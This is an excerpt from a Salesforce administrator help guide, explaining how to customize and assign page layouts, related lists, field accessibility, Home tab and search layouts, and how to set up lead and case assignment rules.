The Custom Links, Custom S-Controls, and Visualforce Pages categories only appear in the palette if you have defined those types of elements for the object for which you are defining a page layout. Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level security is only available for custom fields on the user object. If a dependent lookup is above its controlling field on a page layout, make its lookup filter optional or redesign the page layout. Seeing a required dependent lookup above its controlling field on a page layout may confuse users who typically start from the top of the page when entering data. You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a customized mini page layout will not display in the Console tab. For more information, see Defining Mini Page Layouts on page 2906. When editing a person account page layout: If you add Shipping Address next to Billing Address in the Address Information section, a link will display on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent link appears if you add Other Address to the Address Information section. Contact fields and related lists are available on person account page layouts. However, contact custom links and custom buttons are not available.

Salesforce recommends creating no more than 200 page layouts. While there is no limit, organizations may have difficulty managing their page layouts if they exceed 200.

1200

Customize

Overview of Page Layouts and Field-Level Security

Salesforce gives administrators the option to view a short video tutorial the first time they access the enhanced page layout editor. This video is also available from the Video Tutorial link next to the Help for this Page link in the editor.

See Also:
Enhanced Page Layout Editor User Interface Elements Customizing Page Layouts with the Enhanced Page Layout Editor

Customizing Page Layouts with the Original Page Layout Editor


Available in: All Editions

User Permissions Needed To customize page layouts: Customize Application

The original page layout editor allows you to customize your organizations page layouts for detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. Note: Salesforce.com recommends using the enhanced page layout editor instead of the original page layout editor. For more information, see Customizing Page Layouts with the Enhanced Page Layout Editor on page 1192. To customize page layouts using the original page layout editor: 1. For standard object page layouts, select Your Name > Setup > Customize, select the object, and choose Page Layouts. For custom object page layouts, select Your Name > Setup > Create, select the object, and scroll to the Page Layouts section. 2. In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize. In all other editions, click Edit at the top of the page. 3. If tags are enabled in your organization, specify whether personal and public tags should be included in the header section of the page layout. Users cannot tag a record if neither personal nor public tags are included in the header section: To add personal or public tags to the page layout, select Header Items from the View drop-down list and then drag the Personal Tags or Public Tags items to the Header Section of the layout. Note that you cannot change the order in which personal and public tags appear when both are in the Header Section at the same time. To remove tags from the page layout, drag the Personal Tags and Public Tags items from the Header Section of the page layout to the area under the View drop-down list.

For more information, see Tags Overview on page 347. 4. To customize buttons, double-click the Detail Page Buttons item in the Button Section. To hide any standard button, deselect the checkbox next to the button name. To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove. Sort custom buttons by selecting them and clicking Up or Down. To undo your customizations and restore default settings, click Revert to Defaults. Click OK to close the popup when you are done.

1201

Customize

Overview of Page Layouts and Field-Level Security

5. To arrange fields, custom s-controls, Visualforce pages, custom links, and related lists on the layout, select one or more items from the box on the right and drag them to the desired location. You can add up to 20 s-controls, 20 Visualforce pages, and 100 related lists on a page layout. There are no limits on fields and custom links. Use CTRL+click to select multiple items individually. Use SHIFT+click to select multiple items as a group. Note: You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to that object, the Visualforce Pages category does not appear in the palette. Items that are not in the page layout are displayed in the scrolling box on the right-hand side. Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may affect your page layout decisions.

6. To set which fields are required and read only, select one or more fields and click Edit Properties. The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not universally required fields. Fields marked as read only are always editable by administrators and users with the Edit Read Only Fields permission. If you make a picklist field read only, all new records will contain the default value for that picklist. Auto-number fields are always read only. If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically when a user changes the Stage value of an opportunity. In Enterprise, Unlimited, and Developer Editions, field-level security settings override any field properties you set here if the field-level security is more restrictive than the page layout setting. See Field-Level Security Overview on page 622.

7. To change the properties of an s-control or Visualforce page, double click it and set the following attributes:
Width sets the horizontal size in pixels or a percent. Height sets the vertical size in pixels. Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary. Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to

display the custom s-control in a wider area. 8. To organize the page using sections, click Edit next to an existing page section, or click Create New Section to create a new page section. Enter a name for the section. Note that names of some standard page sections cannot be changed. Set whether the section should have one or two columns. Set the order in which users will be able to tab through the items in that section. Set whether the section name should be shown on the detail and edit pages.

9. To customize the related lists on the page layout, double-click the related list in the Related List Section. Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout, and to define the order in which the related list columns display. You can include up to 10 fields per related list. Use CTRL+click to select multiple fields individually. Use SHIFT+click to select multiple fields as a group.

1202

Customize

Overview of Page Layouts and Field-Level Security

Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available for activities and opportunity products. If necessary, select additional page layouts to apply your related list customizations to. Select or deselect the checkbox next to any standard button name to customize which standard buttons display in the related list. To customize which custom buttons display in the related list, select the button and click Add or Remove. Sort custom buttons by selecting them and clicking Up or Down. Note: To create a custom button for the related list, see Defining Custom Buttons and Links on page 1166. The custom button must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for contacts, not accounts.

Some related lists are not customizable because they link to data rather than store it. You can move your cursor over any related list section to see if it is customizable. Also, lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field on an account page layout is not available when editing the cases related list. Note: You can also enable related list hover links for your organization so that record detail pages include links for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link to jump down to the content of the related list without having to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 1477. 10. Select the Overwrite users personal related list customization to apply the related lists in the page layout to all users, even if they have already customized their display. 11. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a profile to see how the pages will look for users with different profiles. Note that most related lists columns preview without data. 12. Click Save to finish. Alternatively, click Quick Save to save and continue editing the page layout. Professional, Enterprise, Unlimited, and Developer Edition organizations can also click: Mini Console View to choose which related records display in the Console tab's mini view. Mini Page Layout to define the mini page layouts of the records that appear in the Console tab's mini view. Note: You cannot define mini console views or mini page layouts for the Close Case Layout or the Log a Case Page and View Cases Page layouts on the Self-Service Portal. In Enterprise, Unlimited, and Developer Editions, you can now assign which page layouts to display for different profile and record type combinations (see Assigning Page Layouts on page 1208). You can also set field-level security to restrict field access further (see Field-Level Security Overview on page 622). Notes on Page Layouts When customizing page layouts for tasks, you can select the following checkboxes: Show Task Email Notification checkbox controls whether the Send Notification Email checkbox displays when users create or edit a task.

1203

Customize

Overview of Page Layouts and Field-Level Security

Select Task Email Notification checkbox by default controls whether the Send Notification Email checkbox is selected by default when users create or edit a task. Note that a user's personal preference for defaulting the state of the checkbox takes precedence over the organization-wide setting. For more information, see Creating Tasks on page 142. When customizing page layouts for cases, you can select the following checkboxes: Case assignment checkbox to display the Assign using active assignment rules checkbox on case edit pages. Email notification checkbox to display the Send notification email to contact checkbox on case edit pages. Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level security is only available for custom fields on the user object. You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a customized mini page layout will not display in the Console tab. For more information, see Defining Mini Page Layouts on page 2906. In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import only into the fields that are accessible to them via their page layout or field-level security settings. In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security. For information on setting which fields display for users in search results, see Customizing Search Layouts on page 1216. In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which tabs and related lists display for their personal use. See Customizing Your Display on page 41. When editing a person account page layout: If you add Shipping Address next to Billing Address in the Address Information section, a link will display on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent link appears if you add Other Address to the Address Information section. Contact fields and related lists are available on person account page layouts. However, contact custom links and custom buttons are not available. Some items can only be moved to certain sections on the page layout. For example, you can drag a custom s-control to any field section on the page layout but not a Related List Section or Button Section. Create the appropriate buttons before editing your page layout. For example, create an account custom button for the detail page and a contact custom list button before putting them both on an account page layout. For implementation tips and best practices on custom buttons, see Custom Button Considerations.

1204

Customize

Overview of Page Layouts and Field-Level Security

If you use the original page layout editor to view a page layout that was created in the new page layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the right.

See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor Customizing Related Lists Managing Page Layouts Overview of Page Layouts and Field-Level Security Restricting Price and Quantity Editing on Opportunity Products Editing Multi-Line Layouts for Opportunity Products Setting Up Your Customer Portal

Customizing Detail Page Buttons


Available in: All Editions

User Permissions Needed To customize detail page buttons: Customize Application

When customizing page layouts, you can control which standard and custom buttons are displayed and the order in which the custom buttons are shown. To customize the buttons on record detail pages: 1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Page Layouts link. For custom objects, click Your Name > Setup > Create > Objects, and select the desired custom object. 2. Click Edit next to the page layout you want to customize. 3. Do one of the following: In the original page layout editor, double-click the Detail Page Buttons item in the Button Section. To hide any standard button, deselect the checkbox next to the button name. To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove. Sort custom buttons by selecting them and clicking Up or Down. To undo your customizations and restore default settings, click Revert to Defaults. Click OK to close the popup when you are done.

In the enhanced page layout editor, select the Buttons category on the palette and drag one or more buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the button to the palette.

4. Click Save on the page layout.

1205

Customize

Overview of Page Layouts and Field-Level Security

5. Click Save.

See Also:
Customizing Page Layouts Overriding Standard Buttons and Tab Home Pages Defining Custom Buttons and Links

Customizing Related Lists


Available in: All Editions

User Permissions Needed To customize related lists: Customize Application

To customize the buttons, columns displayed, column order, and record sort order of related lists on record detail pages in Salesforce and the Salesforce Customer Portal: 1. Access the page layout editor. 2. Double-click a related list on the layout to edit it. If you are using the enhanced page layout editor, you can also click the wrench icon ( ). 3. To customize the fields that display in the related list: Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout, and to define the order in which the related list columns display. You can include up to 10 fields per related list. Note: The first field of a related list can't be moved. They are considered as unique identifiers for the record.

Use CTRL+click to select multiple fields individually. Use SHIFT+click to select multiple fields as a group. Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available for activities and opportunity products. If necessary, select additional page layouts to apply your related list customizations to. Only layouts that include this related list appear in the list. Layouts that include related lists with the same customizations as the current layout had when you opened are selected by default.

Lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field on an account page layout is not available when editing the cases related list. 4. To customize which standard buttons display in the related list, select or deselect the checkbox next to any standard button name.

1206

Customize

Overview of Page Layouts and Field-Level Security

Note: To view the buttons in the enhanced page layout editor, click the plus sign (+) in the Buttons section.

5. To customize which custom buttons display in the related list: To add or remove a custom button, select the button and click Add or Remove. Sort custom buttons by selecting them and clicking Up or Down.

To create a custom button for the related list, see Defining Custom Buttons and Links on page 1166. The custom button must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for contacts, not accounts. 6. If necessary, click Revert to Defaults to undo any customizations and use the default Salesforce settings in the related list. 7. Click OK to store your customizations. Changes are not saved until you click Save on the page layout. 8. Select the Overwrite users personal related list customization to apply the related lists in the page layout to all users, even if they have already customized their display. 9. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a profile to see how the pages will look for users with different profiles. 10. Click Save. Note: You can also enable related list hover links for your organization so that record detail pages include links for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link to jump down to the content of the related list without having to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 1477.

See Also:
Overview of Page Layouts and Field-Level Security Creating a Many-to-Many Relationship

Editing Multi-Line Layouts for Opportunity Products


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit multi-line layouts for opportunity products: Customize Application

You can customize the columns that display when you click Edit All in the Products related list of an opportunity detail page. 1. 2. 3. 4. Click Your Name > Setup > Customize > Opportunities > Opportunity Products > Page Layouts. Click the name of an opportunity product page layout. Click Edit Multi-Line Layout. As necessary, move fields from the Available Fields list to the Selected Fields list:

1207

Customize

Overview of Page Layouts and Field-Level Security

Select one or more fields and use the Add and Remove arrows to move them between the lists. Also, click the Up and Down arrows to change the order of the Selected Fields list. Use CTRL+click to select multiple fields individually. Use SHIFT+click to select multiple fields as a group.

5. Click Save to apply your changes.

Deleting Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete page layouts: Customize Application

To delete a page layout: 1. Select Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Page Layouts link. 2. Click Del next to the page layout name. When a page layout is deleted, its mini page layout is also deleted. 3. Choose another page layout to replace the deleted layout for any profile and record type combinations. Users with those profiles and record types will see the new page layout. 4. Click Replace.

See Also:
Managing Page Layouts Overview of Page Layouts and Field-Level Security Setting Up the Console Tab

Assigning Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

After defining page layouts, assign which page layouts users see. A users profile determines which page layout he or she sees. In addition, if your organization is using record types for a particular tab, the combination of the users profile and the record type determine which page layout is displayed. You can assign page layouts from: The object's customize page layout or record type page

1208

Customize

Overview of Page Layouts and Field-Level Security

The enhanced profile user interface The original profile user interface

To verify that users have the correct access to fields based on the page layout and field-level security, you can check the field accessibility grid; see About Field Accessibility on page 1210.

See Also:
Managing Page Layouts User Profiles Overview Managing Record Types Overview of Page Layouts and Field-Level Security

Assigning Page Layouts from a Customize Page Layout or Record Type Page
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign page layouts: Manage Users

1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose Page Layouts or Record Types.. 2. In the page layout or record type list page, click Page Layout Assignment. 3. Click Edit Assignment. 4. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If your organization uses record types, a matrix displays a page layout selector for each profile and record type. When selecting page layout assignments: Click a cell, column, or row heading to select all the table cells in that column or row. Press SHIFT+click to select multiple adjacent table cells, columns, or rows. Press CTRL+click to select multiple nonadjacent table cells, columns, or rows. Click any cell and drag to select a range of cells. Click Next or Prev to view another set of record types.

Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your changes. 5. If necessary, select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous step for the new page layout. 6. Click Save.

See Also:
Assigning Page Layouts

1209

Customize

Overview of Page Layouts and Field-Level Security

About Field Accessibility


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Page layouts are not available in Database.com

Several factors help control whether users can view and edit specific fields in Salesforce. Page layoutsYou can set whether fields are visible, required, editable, or read only. Field-level securityYou can further restrict users' access to fields by setting whether those fields are visible, editable, or read only. These settings override any field properties set in the page layout if the field-level security setting is more restrictive. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. PermissionsSome user permissions override both page layouts and field-level security settings. For example, users with the Edit Read Only Fields permission can always edit read-only fields regardless of any other settings. Universally required fieldsA custom field can be made universally required, which overrides any less-restrictive settings on page layouts or field-level security.

After setting these items, you can confirm users' access to specific fields using the field accessibility grid.

Checking Field Accessibility for a Particular Field


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view field accessibility: View Setup and Configuration

1. Navigate to the fields area of the appropriate object: For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or Event Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. Select a field and click View Field Accessibility. 3. Confirm that the field access is correct for different profiles and record types. 4. Hover your mouse over any field access setting to see whether the field is required, editable, hidden, or read only based on the page layout or field-level security.

1210

Customize

Overview of Page Layouts and Field-Level Security

5. Click any field access setting to change the field's accessibility in the page layout or in field-level security. For advanced options to check field accessibility by a specific profile, record type, or field, click Your Name > Setup > Security Controls > Field Accessibility. From this page, you need to choose a particular tab to view and then select whether you want to check access by profiles, record types, or fields. Note: In this user interface, you can't check access for permission sets. Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact Customer Support.

Modifying Field Access Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view field accessibility: To change field accessibility: View Setup and Configuration Customize Application AND Manage Users

From the field accessibility grid, you can click any field access setting to change the fields accessibility in the page layout or in field-level security. The Access Settings page then lets you modify the field access settings. In the Field-Level Security section of the page, specify the field's access level for the profile. Access Level Users can read and edit the field. Users can read but not edit the field. Users can't read or edit the field. Enabled Settings Visible Visible and Read-Only None

We recommend that you use field-level security to control users access to fields rather than creating multiple page layouts to control field access. In the Page Layout section of the page, you can: Select the Remove or change editability radio button and then change the field access properties for the page layout. These changes will affect all profile and record type combinations that currently use this page layout.

1211

Customize

Overview of Page Layouts and Field-Level Security

Alternatively, you can select the Choose a different page layout radio button to assign a different page layout to the profile and record type combination.

See Also:
Overview of Page Layouts and Field-Level Security Managing Page Layouts Field-Level Security Overview Object Permissions User Permissions

Customizing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed To view home page layouts: To create or change home page layouts: Customize Application Customize Application

You can customize the Home tab to include components such as sidebar links, a company logo, or a dashboard snapshot. A dashboard snapshot is a clipping of the top row of a dashboards components. Just like other tabs, you can also assign different home page layouts to different users based on profile. Alternatively, a custom home page layout can contain only the components that show up in the sidebar. You can determine if custom sidebar components appear only on the Home tab or on all Salesforce pages. To start customizing your home page layouts, see: Defining Home Tab Components on page 1213 Designing Home Tab Page Layouts on page 1214 Assigning Home Tab Page Layouts to Profiles on page 1215

1212

Customize

Overview of Page Layouts and Field-Level Security

Defining Home Tab Components


Available in: All Editions

User Permissions Needed To create or change home page layouts: Customize Application

Home page layouts contain standard components, such as Recent Items and Messages & Alerts, and any custom components you create. You can create custom components such as a logo; see Creating Custom Components on page 1213. Additionally, you can edit some standard components; see Editing Components on page 1213. Editing Components 1. Click Your Name > Setup > Customize > Home > Home Page Components. 2. Click Edit next to the component you want to edit. If there is no Edit link next to a component, it is read only. 3. Make any changes. When editing the standard Messages & Alerts component, enter the text you want to display to users. If entering HTML code for your message, make sure it is self-contained, well-formed HTML. When editing the Custom Links component, enter the link text to display to users in the Bookmark field. In the URL field, enter the complete website address, such as http://www.yahoo.com. To link to a Salesforce page, such as a frequently-viewed report, enter only the part of the URL after salesforce.com, for example, /00Ox0000000esq4. These links always open within the main Salesforce window, not in a popup window. Note: The standard home page Custom Links component is a quick way to add links to the sidebar, but it does not support merge fields, functions (such as the URLFOR function), executing JavaScript, or customizable window opening properties. If you need this additional functionality: a. Click Your Name > Setup > Customize > Home > Custom Links, and create your home page custom links on that page. b. Click Your Name > Setup > Customize > Home > Home Page Components, and create a custom home page component of type Links on that page that includes the custom links created in the first step. See Creating Custom Components. Note that creating a custom home page component for your links does not change the visual styling for your end users. 4. Click Save. Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1214. Creating Custom Components If you are creating custom link components, define your Home tab custom links first; see Setting Custom Buttons and Links on page 1165. If you are creating an image component, upload your image to the Documents tab first. For information on uploading your files to the Documents tab, see Uploading and Replacing Documents on page 221. 1. Click Your Name > Setup > Customize > Home > Home Page Components. 2. Click New. 3. Enter a name for the component. For custom links, this name displays as the section heading in the sidebar on the Home tab.

1213

Customize

Overview of Page Layouts and Field-Level Security

4. Choose the type of component. 5. Click Next. For links, select the appropriate custom links and click Add. For images, click Insert an image, choose the document folder, and select the image file. Note that the image file must be in a public folder and the Externally Available checkbox must be selected on the document's properties so that users can view the image. For HTML area, choose where to display the component, in either the wide or narrow column, and enter your text, image, or links in the box below. Note: Components in the narrow column display in the sidebar. They do not display in the sidebar on other pages within Salesforce unless you specify that in your user interface settings or by assigning the Show Custom Sidebar On All Pages permission. To change your user interface settings, see Customizing User Interface Settings on page 1477. For information on profile permissions, see User Permissions on page 534. For instructions on using the HTML format toolbar, see Using the Format Toolbar on page 445. 6. Click Save. Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1214. Tip: Keep your image size smaller than 20 KB for optimum performance. If your image is too large to fit in the insert window, use an image editor to resize the image. Save your image in gif or jpeg format to reduce file size.

See Also:
Designing Home Tab Page Layouts Assigning Home Tab Page Layouts to Profiles

Designing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed To view home page layouts: To create or change home page layouts: Customize Application Customize Application

After creating the components you want displayed on the Home tab, begin designing your home page layouts. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Home > Home Page Layouts. Click New. Alternately, select a layout you want to copy and click Clone. Enter a name for the new layout. Click Save. Select the components you want displayed on the new page layout. Consider the following:

1214

Customize

Overview of Page Layouts and Field-Level Security

The components you select for the narrow column display in the sidebar. They do not display in the sidebar on other pages within Salesforce unless you specify that in your user interface settings. To change your user interface settings, see Customizing User Interface Settings on page 1477. If you only want certain users to view sidebar components on all pages, grant those user the Show Custom Sidebar On All Pages permission. Select Article Search to add the Find Articles component to a home page layout. This component is only available for Salesforce Knowledge users. Select Customer Portal Welcome to add the Customer Portal component to a home page layout. If the My Profile site Visualforce page has been enabled, this component contains a personalized welcome message and a link to the portal user's profile. The My Profile page enables users logged into either your Force.com site, or your Customer Portal from Force.com sites, to update their own contact information. When they make changes to this page, the corresponding portal user and contact records are updated. When you select Dashboard Snapshot as a component to show on a home page layout, Salesforce displays the last dashboard the user accessed. To give users instructions on changing the dashboard themselves; see Customizing Your Display on page 41. Users can view a dashboard snapshot on their Home tab if they have access to at least one dashboard. See Refreshing Dashboard Data on page 2723. Tip: When designing home page layouts for your Customer Portal, we recommend adding the following components: Search, Solution Search, Recent Items, Customer Portal Welcome, and a custom HTML Area component that includes your corporate branding in the wide column.

6. 7. 8. 9.

Click Next. Arrange the selected components in the desired columns. Select a component and use the arrow keys to move it. Optionally, click Preview to display the home page layout. Click Save & Assign to save the page layout and assign it to a profile. Initially, all users, including Customer Portal users, are assigned to the Home Page Default layout. For more information, see Assigning Home Tab Page Layouts to Profiles on page 1215.

See Also:
Customizing Home Tab Page Layouts Defining Home Tab Components Setting Up Your Customer Portal

Assigning Home Tab Page Layouts to Profiles


Available in: All Editions

User Permissions Needed To assign home page layouts: Customize Application

Your home page layouts are only visible to users after you assign them to a user profile. 1. Click Your Name > Setup > Customize > Home > Home Page Layouts. 2. Click Page Layout Assignment.

1215

Customize

Overview of Page Layouts and Field-Level Security

3. Click Edit Assignment. 4. Choose the appropriate page layout for each profile. 5. Click Save. Tip: Notify users how to customize their dashboard settings on their Home tab by clicking Your Name > Setup > My Personal information > Change My Display and choosing the link for Home. See Customizing Your Display on page 41.

See Also:
Defining Home Tab Components Designing Home Tab Page Layouts Changing Your Home Tab Dashboard

Customizing Search Layouts


Available in: All Editions

User Permissions Needed To change search layouts: Customize Application

Customize which fields display for users in search results, search filter fields, lookup dialogs, the recent records lists on tab home pages, and in lookup phone dialogs for Salesforce CRM Call Center. You can specify a different set of fields to show in each search layout. The settings apply to all users in your organization and Salesforce Customer Portal. Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the custom button and give it a List Button Display Type. 1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Search Layouts link. 2. Click Edit next to the layout you want to customize. You can specify a different set of items to display for search results, lookup dialogs, recent records lists on tab home pages, lookup phone dialogs, list views, and search filter fields. 3. For list view and search results layouts, select any standard or custom buttons you want to display. To hide a standard button on the list view, deselect it. Standard buttons are not available on search result layouts. 4. Use the arrows to add or remove items from the layout, and to define the order in which the fields should display. To select more than one item, use CTRL+click or SHIFT+click to select multiple items in a range. Select one or more items in the available list and click Add to add them to the layout. Select one or more items in the selected list and click Remove to remove them from the layout. Select one or more items in the selected list and click Up to move them higher in the list. Select one or more items in the selected list and click Down to move them lower in the list. Note: When editing a search results layout for an object, you can select the Override the search result column customizations for all users checkbox. If selected, all user column customizations within your organization will be overwritten and set to the organization-wide default settings.

1216

Customize

Overview of Page Layouts and Field-Level Security

5. Click Save. Notes on Search Layouts Search layouts do not apply to Salesforce CRM Content. To search for files and Web links in Salesforce CRM Content, see Searching for Content on page 281. Search layouts do not apply to campaign members. The search layout does not determine which fields are searched for keyword matches. See Search Fields on page 328 for a list of which fields are searched. You can add up to 10 fields to each search layout. You cannot remove unique identifying fields, such as Account Name or Case Number, from the search layouts. These fields must be listed first in the order of fields in the search layout. You cannot add long text fields such as Description, Solution Details, or custom long text area fields to search layouts. All fields are available to be added to the search layout even if some fields are normally hidden for the user customizing the search layout. For Enterprise, Unlimited, and Developer Edition organizations, search layouts do not override field-level security. If a field is included in the search layout but hidden for some users via field-level security, those users do not see that field in their search results. For Personal, Contact Manager, Group, and Professional Edition organizations, search layouts override page layout settings. If a field is included in the search layout but hidden in the page layout, that field will be visible in search results. The search results layouts for leads, accounts, contacts, and opportunities also apply to the search results displayed when finding duplicate leads. Formula fields are not available in search result layouts. Do not remove the Phone field from any lookup phone dialogs search layout. If you do so, users will not be able to use the directory search results to enter a phone number into a SoftPhone dial pad. To add a custom button to a list view or search layout, create the custom button for a standard or custom object, giving it the List Button Display Type. The custom button will be available in the list view and search result layouts for that object. Tip: In account search results, you can visually differentiate business accounts from person accounts by adding the Is Person Account field, which displays as the person account icon ( ). You may specify the Is Person Account field as the first column in account search layouts. Otherwise, Account Name must be the first column. For more information, see What is a Person Account? on page 61.

See Also:
Managing Page Layouts Customizing a Call Center Directory Overview of Page Layouts and Field-Level Security Field-Level Security Overview Setting Up Your Customer Portal

1217

Customize

Managing Assignment Rules

RULES
Managing Assignment Rules
Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change assignment rules: Customize Application

Create assignment rules to automate your organizations lead generation and support processes. Lead Assignment Rules - Specify how leads are assigned to users or queues as they are created manually, captured from the web, or imported via the lead import wizards. Case Assignment Rules - Determine how cases are assigned to users or put into queues as they are created manually, using Web-to-Case, Email-to-Case, On-Demand Email-to-Case, the Self-Service portal, the Customer Portal, Outlook, or Lotus Notes.

Typically, your organization will have one rule for each overall purpose - for example, one lead assignment rule for importing and a different lead assignment rule for web-generated leads; or one case assignment rule for standard use and one case assignment rule for holiday use. For each rule type, only one rule can be in effect at any time. For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits. Each rule consists of multiple rule entries that specify exactly how the leads or cases are assigned. For example, your standard case assignment rule may have two entries: cases with Type equals Gold are assigned to Gold Service queue, and cases with Type equals Silver are assigned to Silver Service queue. To create an assignment rule, click Your Name > Setup > Customize from the top of any page. Then select Leads or Cases, and click Assignment Rules. Sample Assignment Rule The following case assignment rule assigns a case to a specific queue based on the account rating:
Rule Name Hot Account Assignment Rule Entries:

Order
1 2

Criteria
ISPICKVAL(Account.Rating, "Hot") OR( ISPICKVAL(Account.Rating, "Warm") , ISPICKVAL(Account.Rating, "Cold") )

Assign To
Tier 1 Support Queue Tier 2 Support Queue

1218

Customize

Managing Assignment Rules

For additional lead management rule examples, see Examples of Advanced Formula Fields on page 1045.

See Also:
Setting Up Assignment Rules Viewing and Editing Assignment Rules Assigning Cases

Setting Up Assignment Rules


Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create assignment rules: Customize Application

To create an assignment rule: 1. Choose Your Name > Setup > Customize from the top of any page. 2. Select Leads or Cases, and click Assignment Rules. 3. Choose New, and give the rule a name. Specify whether you want this to be the active rule for leads or cases created manually and via the web and email. Click Save. 4. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that determines how leads or cases are processed. For each entry, you can specify the following: Field
Order

Description Sets the order in which the entry will be processed in the rule, for example, 1, 2, 3. Salesforce evaluates each entry in order and tries to match the criteria of the entry. As soon as a match is found, Salesforce processes the item and stops evaluating the rule entries for that item. If no match is found, the item is reassigned to either the default Web-to-Lead owner, the administrator doing a lead import, or the default case owner.

Criteria

Specifies conditions that the lead or case must match for it to be assigned. You can enter your rule criteria: Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set a case filter to Priority equals High if you want

1219

Customize

Managing Assignment Rules

Field

Description case records with the Priority field marked High to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default language. You can add up to 25 filter criteria, up to 255 characters. Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce triggers the rule if the formula returns True. For example, the formula AND(ISCHANGED( Priority ), ISPICKVAL (Priority, "High") ) triggers a rule that changes the owner of a case when the Priority field is changed to High. For information on using formulas, see Building Formulas on page 1053.

Note that if your condition uses a custom field, the rule entry will automatically be deleted if the custom field is deleted.
User

Specifies the user or queue to which the lead or case will be assigned if it matches the condition. Users specified here cannot be marked inactive and they must have Read permission on leads or cases. Note: You can't revoke the Read permission on leads or cases for users assigned to a rule. If your organization uses divisions, leads are assigned to the default division of the user or queue specified in this field. Cases inherit the division of the contact to which they are related, or are assigned to the default global division if no contact is specified.

